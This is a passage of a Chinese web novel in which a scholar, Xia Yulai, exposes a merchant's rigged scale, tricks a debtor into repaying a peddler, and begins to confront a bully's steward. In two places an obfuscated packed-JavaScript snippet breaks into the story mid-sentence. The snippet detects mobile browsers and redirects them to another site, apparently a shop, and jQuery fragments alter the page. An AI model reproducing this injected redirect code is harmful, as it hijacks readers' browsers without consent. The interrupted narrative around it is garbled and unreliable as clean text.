他一眼就看出三处不对劲:第一,伙计提秤时,手指总是悄悄压在秤头,看似扶秤,实则用力下压,让秤尾上翘,重量虚高;第二,秤砣底部颜色暗沉,比普通秤砣厚重,明显灌了铅、加了重,一斤的砣,实际有一斤二两;第三,秤杆上的刻度,前密后疏,靠近秤头的地方,刻度被刻意磨浅,肉眼难以分辨,少算重量神不知鬼不觉。 三重机关,环环相扣。当面称,看着准;离店复秤,必定少。百姓抓不到现行,只能吃哑巴亏。 夏雨来心里冷笑:好一个钱剥皮,好一杆鬼秤。你用机关坑百姓,我就用巧算拆你的鬼把戏。今日,我就让你这杆鬼秤,在全城百姓面前,现原形! 他依旧不急不躁,站在人群里,听百姓诉苦,看老婆婆哭泣,看钱剥皮嚣张。他在等一个时机 —— 等钱剥皮最得意、最嘴硬、最口无遮拦的时候,再一锤定音,让他无处可逃。 三、秀才登场,先礼后兵 钱剥皮见老婆婆晕倒,百姓骚动,非但没有半点愧疚,反倒越发嚣张。 他折扇一收,指着老婆婆和妇人,厉声喝道:“你们二人,在我米店门口哭闹喧哗,扰乱生意,我不与你们计较已是宽宏大量,还敢污蔑我缺斤少两?再不走,我就叫伙计把你们打出去,再报官,告你们讹诈!” 这话一出,百姓更是敢怒不敢言。 妇人吓得脸色发白,只能抱着老婆婆,默默流泪。 就在这最压抑、最无助、最憋屈的时刻 —— 一个清亮、诙谐、慢悠悠的声音,从人群外轻飘飘传进来,像一阵清风,吹散满场戾气: “哎呀呀 —— 钱老板好大的口气。买米缺斤少两,不道歉不补米,反倒要打人报官。小生活了二十二年,还是第一次见到,这么‘理直气壮’的奸商!佩服,佩服!” 声音不大,却字字清晰,穿透喧闹,落在每个人耳中。 众人同时转头。 青布长衫,旧书箱,眉眼弯弯,嘴角噙笑,一双眼睛亮得能照见人心。正是夏雨来。 他依旧是那副从容不迫的模样,仿佛不是来拆穿骗局,而是来喝茶聊天。 钱剥皮正嚣张得意,突然被人打断,还被当众骂作 “奸商”,顿时勃然大怒。 他猛地转头,三角眼瞪得溜圆,厉声喝道:“哪来的穷酸秀才?敢管我钱某的闲事?你是活得不耐烦了!” 两个伙计立刻上前,气势汹汹,就要动手驱赶。 围观百姓心都提到了嗓子眼。“又是这个夏秀才!”“他昨天斗恶霸,今天斗奸商,真是不要命了!”“钱剥皮比刘三刀还阴,秀才这次危险了!” 阿翠也挤了过来,拉住夏雨来的胳膊,急道:“夏雨来,你别冲动!钱剥皮心狠手辣,又有后台,你斗不过他的!” 夏雨来却轻轻拍了拍她的手,给她一个安心的眼神,语气轻松诙谐:“娘子放心,小生这双手,只会写字、讲道理、拆骗局,不会打架。钱老板的秤有鬼,我的脑子有谱,咱们用道理说话,不用拳头。” 他轻轻挣脱阿翠,一步一步,慢悠悠走进人群中央,站在老婆婆和妇人面前,正好挡在两人与钱剥皮之间。 他先弯腰,轻轻扶起老婆婆,声音温和,安定人心:“老婆婆,别哭。有我夏雨来在,今天你这半斤米,他钱剥皮必须一分不少地补回来,还要给你赔礼道歉。” 老婆婆睁开泪眼,看着眼前文弱的书生,半信半疑:“秀才…… 你、你真能帮我要回米?” “能。” 夏雨来点头,一字一句,坚定有力,“不仅要回米,还要让他当着全城百姓的面,承认自己的秤有鬼,以后再也不敢缺斤少两。” 一句话,让全场百姓精神一振。 钱剥皮见状,更是怒不可遏:“臭秀才!你敢污蔑我?我的秤是官府校验过的公平秤,你再胡说八道,我撕烂你的嘴!” “公平秤?” 夏雨来转头,看向钱剥皮,嘴角笑意更浓,语气却极尽戏谑,“钱老板,你这‘公平秤’,公平在秤头,还是公平在秤砣?是公平在你手指上,还是公平在你心里啊?” 这话一语双关,直指要害。 钱剥皮脸色骤变,眼神闪过一丝慌乱,随即强装镇定:“你…… 你胡说八道!我听不懂你在说什么!” “听不懂没关系。” 夏雨来微微一笑,负手而立,神态从容,“小生今日,不打你,不骂你,不告官,就用一杆秤、一把米、几道算术,当众拆穿你的‘鬼秤’把戏。让全城百姓看一看,你钱剥皮,是怎么从百姓碗里抢米吃的!” 他顿了顿,提高声音,让所有人都听得清清楚楚: “钱老板,你敢不敢答应小生三件事?第一,把你的秤,当众拿下来,放在青石板上,不许伙计碰,不许你动手脚;第二,小生亲自舀米、亲自挂秤、亲自提绳、亲自读数;第三,我们用隔壁杂货铺的公平秤复秤,两相对比,是鬼是真,一目了然。 你若敢答应,就说明你问心无愧;你若不敢答应,就说明你心里有鬼,这杆秤,就是不折不扣的鬼秤!” 三件事,简单、公平、公开、公正。没有任何偏袒,没有任何陷阱。 全场百姓瞬间沸腾!“好!说得好!”“钱剥皮,你敢不敢答应!”“不敢答应,就是心里有鬼!” 呼声震天,气势如虹。 钱剥皮站在人群中央,被几十双眼睛盯着,进退两难。 答应吧,他的秤有鬼,一验就现原形;不答应吧,百姓的嘴堵不住,今日之后,他这米行就别想做生意了。 他骑虎难下,脸色一阵青一阵白,冷汗顺着额头往下流。 夏雨来把他的慌乱尽收眼底,心里暗暗一笑。对付奸商,最有效的不是硬刚,而是逼他走到绝路,让他自己跳坑。 钱剥皮牙一咬,心一横,强装镇定:“答应就答应!我钱某行得正坐得端,还怕你一个穷酸秀才?我就让你心服口服,让所有人知道,我钱某是清白的!” 他嘴上强硬,心里却早已慌成一团,暗暗祈祷:千万别出岔子,千万别被拆穿。 夏雨来嘴角一扬:“好!一言为定!诸位街坊作证,今日谁耍赖,谁就是乌龟王八蛋,从此滚出潮州城!” 四、巧算拆局,鬼秤现形 好戏,正式开场。 夏雨来先让伙计把横梁上的大杆秤取下,平放在青石板上,不许任何人触碰。他则后退一步,围着秤转了一圈,故作惊讶:“哎呀,这秤真是好秤!漆皮光亮,秤杆笔直,秤砣沉甸甸,一看就是官府正经校验过的 —— 就是不知道,这秤砣底下,藏了什么好东西啊?” 这话一出,钱剥皮脸色瞬间惨白! 他的秤砣,底部灌铅、加磁,表面看不出来,一称就重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446899|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是他最核心的秘密,没想到被这秀才一语道破! 夏雨来却不点破,只是微微一笑,拿起秤砣,轻轻掂了掂,对众人道:“诸位看好,这秤砣,看上去是一斤重,可实际有多重,我们心里有数。先不急,我们一步一步来。” 他先走到米缸前,亲自舀米。他舀米的动作很轻,不压、不抖、不摔,平平一勺,装满即止,绝不像伙计那样故意压实、多舀,制造重量假象。 然后,他将米装入布袋,挂在秤钩上。 全场百姓屏住呼吸,目不转睛。 夏雨来一手提绳,一手扶秤,手指悬空,绝不碰秤头、不压秤杆,动作标准规范,毫无猫腻。 他缓缓提起秤,秤杆平稳,不翘不斜。 他朗声读数:“诸位看好 —— 半升米,秤杆显示,正好五两!一钱不少,一钱不多!” 钱剥皮立刻松了口气,得意大笑:“看到没有!正好五两!公平公正!臭秀才,你还有什么话说!” 百姓见状,也有些疑惑。难道真是误会?难道秀才错了? 老婆婆和妇人脸色一白,眼神再次黯淡。 夏雨来却半点不慌,嘴角依旧挂着笑,语气诙谐:“钱老板,别急着得意。这叫‘当面称’,是给你看的戏。真正的公道,不在你店里,在隔壁 —— 在公平秤上!” 他提起米袋,对众人道:“诸位,我们现在就去隔壁杂货铺,用官府公认的公平秤复秤!是多是少,一称便知!” 说罢,他提着米袋,大步走向隔壁。百姓蜂拥跟随,钱剥皮脸色铁青,不得不硬着头皮跟上。 隔壁杂货铺门口,摆着一杆官府校验的公平秤,铅封完好,刻度清晰,无任何机关。 夏雨来将米袋挂上公平秤。 一提、一稳、一读。 全场瞬间死寂! 公平秤上,秤杆稳稳停住,显示的重量是 ——三两五钱! 五两 vs 三两五钱!整整少了一两五钱!半升米,直接被坑走三成! “轰 ——!”全场炸开了锅! “天啊!真的少了一两五钱!”“钱剥皮太黑心了!半升米就坑一两五,一升米岂不是要坑三两!”“鬼秤!果然是鬼秤!” 百姓愤怒的吼声,震得整条街都在发抖。 老婆婆和妇人瞬间泪崩,跪地对着夏雨来磕头:“秀才老爷!谢谢你!谢谢你为我们做主!” “使不得!万万使不得!” 夏雨来连忙扶起两人,“这是我应该做的。” 钱剥皮站在原地,面如死灰,浑身发抖,一句话也说不出来。 铁证如山,无处可逃! 夏雨来转头,看向钱剥皮,眼神严肃,语气却依旧诙谐:“钱老板,现在你还有什么话说?你店里的秤,称五两;公平秤,称三两五钱。一两五钱的差距,白纸黑字,铁证如山。你这不是公平秤,是鬼秤!你这不是做生意,是明抢!” 钱剥皮嘴唇哆嗦,半天说不出一个字。 夏雨来趁热打铁,当众揭开所有机关:“诸位,我来告诉大家,他这鬼秤,是怎么坑人的!第一,秤砣灌铅加重,一斤的砣,实际一斤二两,称出来的重量,天生虚高;第二,秤头刻度磨浅,前密后疏,少算重量,肉眼难辨;第三,伙计手指压秤头,提秤时悄悄下压,让秤尾上翘,重量再虚高一层。三重机关,环环相扣,当面称准,离店必少,这就是钱剥皮的缺斤短两之术!” 每一句,都戳中要害。每一句,都让百姓恍然大悟。 钱剥皮面如死灰,瘫软在地。他知道,今日之后,他在潮州城,彻底身败名裂。 五、公道归位,市井立规 百姓的愤怒,彻底爆发。 “黑心奸商!”“把他赶出去!”“以后再也不买他的米!” 怒骂声、唾弃声、拍掌声,响彻街市。 夏雨来抬手,示意众人安静。他走到钱剥皮面前,语气严肃:“钱老板,小生给你两条路,你自己选。 第一条,认错、补米、道歉、认罚。一,向老婆婆磕头赔罪;二,补足所有缺斤短两的米,十倍赔偿;三,当众砸毁这杆鬼秤,以后只用公平秤;四,承诺永远不再缺斤少两,再犯一次,滚出潮州城。 第二条,我们现在就去府衙,告你欺诈百姓、扰乱市井,让官府治你的罪,罚你抄家、坐牢!” 两条路,一条生路,一条死路。 钱剥皮哪里还敢反抗?他连滚带爬,爬到老婆婆面前,“砰砰砰” 磕头,声音嘶哑:“老婆婆,我错了!我对不起你!我鬼迷心窍!我以后再也不敢了!求你饶了我!” 他爬起来,立刻跑回米店,亲自舀了满满一袋米,双手捧着,送到老婆婆面前:“老婆婆,米给你补上!十倍补上!你原谅我!” 老婆婆接过米袋,泪水直流,却也心软:“罢了罢了,只要你以后不再坑人,我就不追究了。” 夏雨来又指着那杆鬼秤:“这杆秤,留着也是祸害,当众砸了!” 钱剥皮不敢违抗,拿起石头,“砰” 的一声,将鬼秤砸得粉碎。 秤杆断裂,秤砣滚落,灌铅的内里暴露无遗。百姓再次爆发出雷鸣般的掌声! 夏雨来朗声道:“诸位街坊,今日我夏雨来拆穿鬼秤,不是为了出风头,是为了立一个规矩:市井做生意,秤要平,心要正。缺斤短两,就是抢百姓的饭碗;童叟无欺,才是长久的生意。从今往后,谁再敢用鬼秤、坑百姓,我夏雨来第一个不答应!” 一番话,正气凛然,诙谐有力,赢得全场百姓的衷心拥护。 “好!说得好!”“鬼才秀才,公正无双!”“以后我们买米,只认公平秤,只信夏秀才!” 晨光越升越高,照在青石板上,暖洋洋的。鬼秤已毁,奸商服软,百姓欢呼,公道归位。 阿翠走到夏雨来身边,递上热茶,眼睛亮晶晶的:“夏雨来,你又赢了。你这脑子,到底是怎么长的?” 夏雨来接过茶,笑道:“不是我聪明,是公道最聪明。奸商的机关再巧,也巧不过人心;鬼秤再阴,也阴不过天理。我只是把天理人心,说出来而已。” 他望着热闹安稳的街市,眼神清澈而坚定: “阿翠娘子,你看。恶霸不敢横行,奸商不敢欺诈,百姓安稳过日子,这,才是我夏雨来,想守的市井。” 风一吹,青布长衫轻扬。穷秀才的身影,在市井晨光中,挺拔如竹。 而他的传奇,仍在继续。 5. 借鸡生蛋 一、晨市刚安,债事又起 天刚蒙蒙亮,潮州城东门外的青石板路还浸在晨雾里,阿翠的茶摊已经冒起了热气。铜茶壶咕嘟作响,茶香混着油条摊的焦香、菜筐里的露水清气,在风里飘出老远。 夏雨来照旧穿着那件洗得发白的青布长衫,背着旧书箱,慢悠悠从巷口踱出来。连日来他斗恶霸、断鸡鸭、拆鬼秤,如今走在街上,百姓见了他,无不拱手让路、笑着招呼,一口一个 “夏秀才”,眼神里全是敬重。 “夏雨来,这边!刚沏好的热茶,趁热喝!” 阿翠扬声喊他,手里已经拎起一碗斟满的茶水。 夏雨来脚步轻快地走过去,拱手一笑:“阿翠娘子,你这茶摊如今成了东门街市的‘公道驿站’,恶霸不敢来,奸商绕道走,小生不来沾沾光,都说不过去。” “少贫嘴。” 阿翠把茶碗递给他,眼尾带着笑意,“你这几日为街坊出头,连口水都不肯多喝人家的,再这么下去,我都要替你抱不平。” 夏雨来接过热茶,指尖一暖,仰头喝下小半盏,浑身舒坦:“娘子有所不知,市井公道,最忌‘沾利’。我管闲事、断是非,一不收银,二不收礼,三不欠人情,说话才硬气,断案才公正。一旦收了好处,公道就变了味。” 这话坦荡透亮,阿翠听得连连点头,心里越发佩服这个穷秀才。 两人正说笑间,街市中段忽然传来一阵压抑的呜咽声,不是吵闹,不是对骂,而是一种走投无路的委屈,听得人心头发紧。 夏雨来眉头微挑,放下茶碗:“看来又有不平事找上门了。” “多半又是哪家被赖账、被坑骗。” 阿翠叹了口气,“咱们小本生意,最怕赊账不还,钱要不回来,一家老小都要挨饿。” 夏雨来眼神一沉。 恶霸欺身,奸商欺心,赖账之人,欺的是市井小民的活命本钱。这种事,比短秤更阴,比占地更磨人。 他不再多言,背起书箱,步履从容地朝着声音来源走去。 二、货郎哭街,欠银难讨 围拢的人群中央,一个二十出头的年轻货郎蹲在地上,双手抱着头,肩膀一抽一抽地哭。 他叫阿福,是个走街串巷的小货郎,挑着货担卖针线、头绳、香粉、纽扣一类小物件,本钱微薄,赚的都是一文一文的辛苦钱。 阿福身前站着一个穿绸缎短打的汉子,满脸横肉,眼神油滑,正是街市上出了名的赖账人 —— 赵二混。此人游手好闲,不务正业,专挑老实小贩赊账,拿货不给钱,一拖再拖,一拖再赖,最后干脆不认账。 周围百姓围在一旁,个个面露同情,却没人敢上前。 “赵二爷,我求你了……” 阿福抬起头,满脸泪痕,声音嘶哑,“那五百文货款,是我全部本钱,我娘还卧病在床,等着抓药。你拿货的时候说得好好的,三天就还,如今都拖了一个月了…… 你就把钱还给我吧。” 赵二混双手抱胸,下巴一抬,一脸无赖相:“还什么还?谁欠你钱了?你一个小货郎,说话要有凭据。欠条呢?拿出来我就认。” 阿福脸色一白,嘴唇哆嗦:“当时…… 当时你说都是街坊,信得过,不用写欠条…… 我就信了你……” “信我?” 赵二混哈哈大笑,声音刻薄,“无凭无据,你凭什么说我欠你钱?我看你是穷疯了,想讹我!” “我没有!” 阿福急得满脸通红,却百口莫辩,“那天张三哥、李嫂都看见了,他们能作证!” 被点到的两人缩了缩脖子,不敢出声。谁都怕赵二混报复。 赵二混越发嚣张:“看见什么了?谁看见了?就算有人看见,那也是你自愿给我的,不是我欠你的!想要钱,没有!要命,一条!” 这话一出,围观百姓气得咬牙,却敢怒不敢言。 阿福彻底绝望,瘫坐在地上,眼泪哗哗往下掉:“我娘的病…… 我的本钱…… 我这可怎么活啊……” 夏雨来站在人群外围,把前因后果听得一清二楚。 他没有立刻上前,而是先在心里快速盘算:一、无欠条,无实证,全靠口头约定;二、赖账人油滑无赖,吃硬不吃软,越逼越赖;三、硬告官,证据不足,反而会被反咬一口;四、小贩老实胆小,经不起折腾,必须不费一文、不动干戈、不伤脸面,把钱稳稳要回来。 对付赖账,最忌硬碰硬。赖账人不怕吵,不怕闹,不怕凶,只怕丢面子、失路子、被人捏住七寸。 夏雨来眼底闪过一丝狡黠。有了。今日便让你见识见识,什么叫 ——借鸡生蛋,空手套白狼。 三、秀才登场,软语入局 就在赵二混准备甩手走人、阿福彻底绝望的一刻 —— 一个清亮、诙谐、慢悠悠的声音,从人群外轻飘飘传进来: “哎呀呀 —— 都是街坊邻里,抬头不见低头见,为了几百文钱,把人逼到这份上,传出去,岂不是让人笑话咱们潮州城的人,不讲义气、不讲脸面?” 声音不大,却字字入耳,像一颗小石子,投进一潭死水。 众人同时转头。 青布长衫,旧书箱,眉眼弯弯,嘴角噙笑,一双眼睛亮得能看透人心。正是夏雨来。 赵二混正得意洋洋,突然被人打断,顿时不爽:“哪来的穷酸秀才?我跟他的事,关你屁事!” 夏雨来不恼不怒,反倒拱了拱手,语气恭敬又诙谐:“这位兄台,小生夏雨来,一介穷秀才。路见不平尚且要管,何况是街坊间的银钱纠纷。兄台仪表堂堂,衣着光鲜,一看就是体面人,何必跟一个小货郎斤斤计较,坏了自己的名声呢?” 先捧后劝,先给足面子,再慢慢入局。 赵二混被他一顶高帽戴得舒服,气焰顿时弱了几分,却依旧嘴硬:“不是我计较,是他无凭无据讹我!我赵二混虽然不富裕,也不至于欠他几百文钱!” “兄台说得极是。” 夏雨来立刻顺着他说,点头如捣蒜,“无凭无据,确实不能认账。这是规矩,是道理,小生一百个赞成。” 阿福愣住了,百姓也愣住了。怎么?秀才不帮货郎,反倒帮赖账人说话? 阿福急得快哭了:“夏秀才,我…… 我真的没有讹他……” 夏雨来转头对他温和一笑,眼神安定:“小兄弟别急,公道自在人心。小生不偏不倚,只按规矩办事。” 他又转回头,对着赵二混拱手:“兄台,既然无凭无据,这账确实不能认。可小兄弟一口咬定你欠他钱,想必也不是空穴来风。不如这样,咱们不伤和气、不闹公堂、不丢脸面,用一个街坊间最公道的法子,把这事断清楚,你看如何?” 赵二混一愣:“什么法子?” 夏雨来笑得狡黠:“简单得很。咱们借一只鸡,生一回蛋,用天意断是非。若是天意说你欠,你就把钱还给他;若是天意说你不欠,从此以后,他再也不纠缠,你看公平不公平?” “借鸡生蛋断是非?” 赵二混眼珠子一转。他这辈子听过断田、断地、断鸡鸭,从没听过借鸡生蛋断账。听起来荒唐,可又透着一股 “天意难违” 的架势。 他心想:反正我没欠钱,天意还能冤枉我不成?答应就答应,正好当众证明我的清白,让所有人都知道我没赖账! 赵二混立刻拍板:“好!我答应!就按你说的,借鸡生蛋断是非!若是天意说我不欠,他以后再敢纠缠,我打断他的腿!” 夏雨来心中暗笑:鱼儿,上钩了。 四、借鸡生蛋,巧设死局 夏雨来见他答应,立刻朗声对众人道:“诸位街坊作证!今日赵二爷自愿以‘借鸡生蛋’之法,断清账目。规则只有三条:一、小生去借一只活鸡;二、赵二爷亲手抓一把米喂鸡;三、鸡若生蛋,便是天意说欠账属实;鸡若不生蛋,便是无账可欠。从此一刀两断,谁也不许反悔!” 百姓听得新奇,纷纷点头:“好!这个法子公道!”“听天意!谁也怨不着谁!” 赵二混更是得意:“快借鸡!我倒要看看,天意怎么说!” 夏雨来不再耽搁,转身走向街口王婆家。王婆家养着一只老母鸡,正处于下蛋高峰期,几乎每日一蛋。 夏雨来走到王婆家门口,低声交代几句,王婆一听是帮阿福要账,立刻满口答应,抱着老母鸡就出来了:“夏秀才,你尽管用!这鸡最乖,肯定给你面子!” 夏雨来接过鸡,抱在怀里,走回人群中央,把鸡轻轻放在地上。 “诸位看好!” 夏雨来高声道,“鸡在此,米在此,赵二爷亲手喂!鸡吃了米,若是下蛋,就是天意欠债;若是不下蛋,就是天意无债!谁也不许耍赖!” 赵二混信心满满,上前抓了一把米,撒在鸡面前。老母鸡饿了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446900|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头 “咯咯” 啄米,吃得欢快。 所有人都屏住呼吸,目不转睛盯着那只鸡。 赵二混心里冷笑:随便你怎么弄,我就是没欠钱!等会儿鸡不下蛋,我看你这秀才怎么收场! 夏雨来站在一旁,神态从容,嘴角噙着一抹不易察觉的笑。 他心里比谁都清楚:这只鸡,必定会生蛋。不是天意,是人心,是算计,是稳赢不输的死局。 五、一语点破,赖账现形 就在老母鸡吃完米、低头踱步的一刻 —— “噗嗒。” 一声轻响,一颗圆滚滚、热乎乎的鸡蛋,稳稳落在青石板上。 全场死寂一瞬,随即轰然炸开! “生蛋了!真的生蛋了!”“天意!这是天意说赵二混欠账!”“老天爷都看不过去了!” 阿福瞬间泪崩,跪在地上连连磕头:“谢谢老天爷!谢谢夏秀才!” 赵二混脸色骤变,从得意洋洋变成面如死灰,浑身僵硬,像被雷劈中一样。 “不…… 不可能……” 他喃喃自语,“这是巧合…… 是意外……” “巧合?意外?” 夏雨来向前一步,声音清亮,字字如刀,当众揭开谜底: “赵二爷,你还想装到什么时候?这‘借鸡生蛋’,根本不是什么天意,是人心公道!鸡吃饱就下蛋,是天理自然;欠债就还钱,是市井良心!鸡都知道吃饱报恩,你难道连一只鸡都不如?” 他顿了顿,声音提高,让所有人听得清清楚楚: “你以为无凭无据就能赖账?你以为老实人好欺负?我告诉你 ——鸡能生蛋,是因为吃了米;你要还钱,是因为欠了账!今天这只蛋,就是你的欠条!这只鸡,就是你的证人!” 一番话,正气凛然,又诙谐犀利,戳破赵二混最后一层脸皮。 百姓瞬间爆发雷鸣般的掌声与怒吼! “说得好!鸡吃米都下蛋,你欠钱不还,连鸡都不如!”“快还钱!不然我们就报官!”“以后谁还敢跟你做生意!黑心无赖!” 赵二混被几十双眼睛盯着,被几十张嘴声讨,脸面尽失,无地自容。他知道,今天这钱,不还是不可能了。再不还,他在潮州城就彻底身败名裂,再也混不下去。 他脸色一阵青一阵白,最后狠狠一咬牙,从怀里掏出五百文钱,“啪” 地摔在阿福面前,恶狠狠道:“给你!以后别再让我看见你!” 阿福连忙捡起钱,紧紧攥在手里,对着夏雨来 “扑通” 跪下,磕头不止:“夏秀才!你是我的救命恩人!我这辈子都忘不了你!” “快起来!” 夏雨来连忙扶起他,“不用谢我,要谢,就谢这只懂报恩的鸡。” 一句话,把众人逗得哈哈大笑。刚才压抑憋屈的气氛,一扫而空。 六、市井立规,侠义留名 夏雨来抱起老母鸡,还给王婆,又对着众人拱手朗声道: “诸位街坊,今日这‘借鸡生蛋’,断的不是账,是规矩!我夏雨来在此立一句公道话:市井做生意,可以赊账,不可赖账;可以没钱,不可无心;可以吃亏,不可吃人!谁若再欺负老实小贩、无凭赖账、吞人本钱,我夏雨来,第一个不答应!” 话音落下,整条街市欢声雷动。 “鬼才秀才!公正无双!”“以后我们做生意,就认夏秀才的规矩!”“有夏秀才在,我们再也不怕被赖账了!” 晨光越升越高,照在青石板上,暖洋洋的。阿福拿着钱,哭着笑着,直奔药铺给娘抓药。赵二混灰溜溜地逃走,从此在东门街市抬不起头。 阿翠端着热茶走过来,递给夏雨来,眼睛亮晶晶的:“你这脑子,到底是怎么长的?借一只鸡,就把赖账人治得服服帖帖。” 夏雨来接过茶,笑道:“不是我聪明,是赖账人最怕脸面,最信天意。我不过是把天意和脸面,绑在一只鸡上罢了。” 他望着眼前安稳热闹的市井,眼神清澈而坚定: “恶霸敢横行,我就拆他的势;奸商敢短秤,我就破他的局;无赖敢赖账,我就断他的脸。我不要功名,不要利禄,只要这潮州城的市井里,小贩能安心卖货,百姓能安心过日子,就够了。” 风一吹,青布长衫轻扬。穷秀才的身影,在晨光里,挺拔如竹。 而他的传奇,仍在继续。 6. 恶奴欺市 一、晨光未暖,恶气先扬 天刚蒙蒙亮,潮州城东门外的青石板路上还凝着一层薄薄的晨雾,湿气裹着草木清香与早点摊的热气,慢悠悠在长街上散开。阿翠的茶摊照例是最早开张的那一个,铜壶咕嘟咕嘟吐着白气,茶香一飘,整条街都跟着醒了。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,脚步慢悠悠从巷口踱出来。连日来他斗恶霸、断鸡鸭、拆鬼秤、讨货款,如今走在街上,百姓见了他,无不拱手让路、笑着点头,一口一个 “夏秀才”,眼神里全是敬重与亲近。 “夏雨来,这边!刚沏好的热茶,暖胃解乏!” 阿翠远远瞧见他,扬声招呼,手里已经稳稳端起一碗热茶。 夏雨来笑着走过去,拱手作揖,语气诙谐又顺口:“阿翠娘子,你这茶摊如今可是潮州城第一‘公道茶摊’,恶霸绕道,奸商缩头,小生不来沾沾正气,都说不过去。” “少贫嘴。” 阿翠把茶碗递到他手里,眼尾带着笑意,“你这几日为街坊出头,分文不取,连口正经饭都不肯多吃,再这么下去,我都要替你抱不平。” 夏雨来接过热茶,指尖一暖,仰头喝下小半盏,浑身筋骨都松快了。他轻叹一声,语气坦荡:“娘子有所不知,市井公道,最忌一个‘利’字。我管闲事、断是非、惩恶人,一不收银,二不收礼,三不欠人情,说话才硬气,断事才公正。一旦沾了好处,公道就变了味,成了买卖,那我和那些欺压百姓的恶奴奸商,又有什么两样?” 这番话说得透亮,阿翠听得连连点头,心里对这个穷秀才的敬佩又多了几分。 两人正说笑间,街市中段忽然传来一阵刺耳的呵斥声,伴随着竹筐倒地、货物散落的脆响,还有百姓压抑的惊呼声 —— 那声音蛮横、嚣张、不讲理,一听就知道,是仗着主子势力横行街市的恶奴。 夏雨来眉头微挑,放下茶碗,眼神瞬间沉了几分。 “是陈老财府上的人。” 阿翠脸色一紧,压低声音,“为首的是胡三,陈老财的大管家,平日里狗仗人势,在街市上白吃白拿、欺压小贩,谁都不敢惹。你昨天刚整治了赵二混,今天可别再硬碰硬,陈老财在城里势力大,不好得罪。” “势力大,就可以无法无天?” 夏雨来嘴角勾起一抹戏谑的笑,眼神却亮得锐利,“阿翠娘子,你看着。恶霸我治过,奸商我拆过,赖账我斗过,今日就轮到这狗仗人势的恶奴。我不打他,不骂他,就当众戏耍他,让他知道 ——潮州城的街市,不是他主子后花园,市井百姓,也不是他随意欺压的奴才。” 说罢,他背起旧书箱,不紧不慢,步履从容地朝着喧闹处走去。 二、恶奴横行,街市遭殃 今日的街市格外热闹,挑担的菜农、摆摊的小贩、挎篮的妇人、上学的孩童,人来人往,烟火气十足。可在街市最显眼的路口,气氛却僵得像结了冰。 人群围得里三层外三层,中间一片狼藉:竹筐翻倒,青菜、萝卜、香葱撒了一地,被踩得稀烂;一个卖豆腐的小摊子被掀翻,白嫩的豆腐摔在地上,混着泥土,根本没法再卖。 摊主是一对老实巴交的夫妻,男的叫阿顺,女的叫阿莲,两人起早贪黑磨豆腐、卖青菜,本本分分做生意,赚的都是一文一文的辛苦钱。此刻,夫妻俩跪在地上,看着被砸烂的摊子、被踩坏的货物,眼泪直流,却连大声哭都不敢。 为首作恶的,正是陈老财府上的大管家 ——胡三。 此人四十来岁,三角眼,塌鼻梁,左脸一道刀疤,看着就凶戾。他穿着一身半新不旧的绸缎短打,腰间挂着陈府的腰牌,双手叉腰,站在路中央,气焰嚣张,不可一世。身后跟着四个精壮恶奴,个个横眉竖眼,虎视眈眈,谁敢多看一眼,就瞪谁一眼。 “给脸不要脸的东西!” 胡三一脚踢翻剩下的半筐青菜,唾沫星子横飞,“我家老爷看上你这摊位,是给你面子!让你三天内搬走,把地方腾出来给我家老爷开绸缎庄,你居然敢不答应?真是活腻了!” 阿顺跪在地上,浑身发抖,却还是鼓起勇气,哽咽着说:“胡管家…… 这摊位是官府划定的,我们…… 我们靠这个养家糊口,搬走了,我们一家人就没活路了…… 求你行行好。” “行行好?” 胡三哈哈大笑,声音刻薄又恶毒,“我胡三在潮州城,只给我家老爷行好,不给穷鬼行好!我告诉你,今天就是最后期限,要么自己滚,要么我把你摊子砸烂,把人打出去,二选一!” 阿莲哭得浑身发软,拉着丈夫的胳膊,绝望道:“我们搬…… 我们搬还不行吗…… 别砸了…… 别砸了……” “现在想搬?晚了!” 胡三眼神一狠,挥手对恶奴喝道,“给我砸!把这破摊子全砸了!让他们知道,违抗我家老爷的下场!” 恶奴们立刻动手,抬脚就踹,伸手就掀,原本就狼藉的摊位,被砸得更不成样子。 周围百姓看得个个义愤填膺,却没人敢上前阻拦。 谁都知道,胡三背后是陈老财。陈老财是潮州城数一数二的劣绅,有钱有势,勾结官府,手下恶奴成群,平日里强占土地、欺压百姓、无恶不作。得罪了胡三,就是得罪陈老财,轻则摊位被砸,重则家破人亡。 百姓们敢怒不敢言,只能在一旁低声议论,满是无奈与心酸。 “太过分了!这胡三也太嚣张了!”“陈老财也不是东西,纵容恶奴横行街市,无法无天!”“阿顺夫妻太可怜了,本本分分做生意,招谁惹谁了?”“唉,我们小老百姓,能有什么办法?官官相护,我们斗不过啊……” 议论声越低,胡三越是得意。他双手背在身后,抬着下巴,眼神轻蔑地扫过围观百姓,那模样仿佛在说:“看到没有?这潮州城,我家老爷说了算,我胡三,在街市上就是王法!” 阿顺夫妻看着满地狼藉,彻底绝望,趴在地上失声痛哭。 就在这压抑、屈辱、无助到极点的一刻 —— 一个清亮、诙谐、慢悠悠,却字字清晰的声音,从人群外轻飘飘传了进来,像一阵清风,瞬间刺破满场戾气: “哎呀呀 —— 我当是谁这么大威风,原来是陈府的大管家胡三爷。光天化日,朗朗乾坤,官府划定的街市,你说砸就砸,百姓的饭碗,你说抢就抢,小生活了二十二年,还是第一次见到,这么‘威风凛凛’的恶奴!佩服,实在是佩服!” 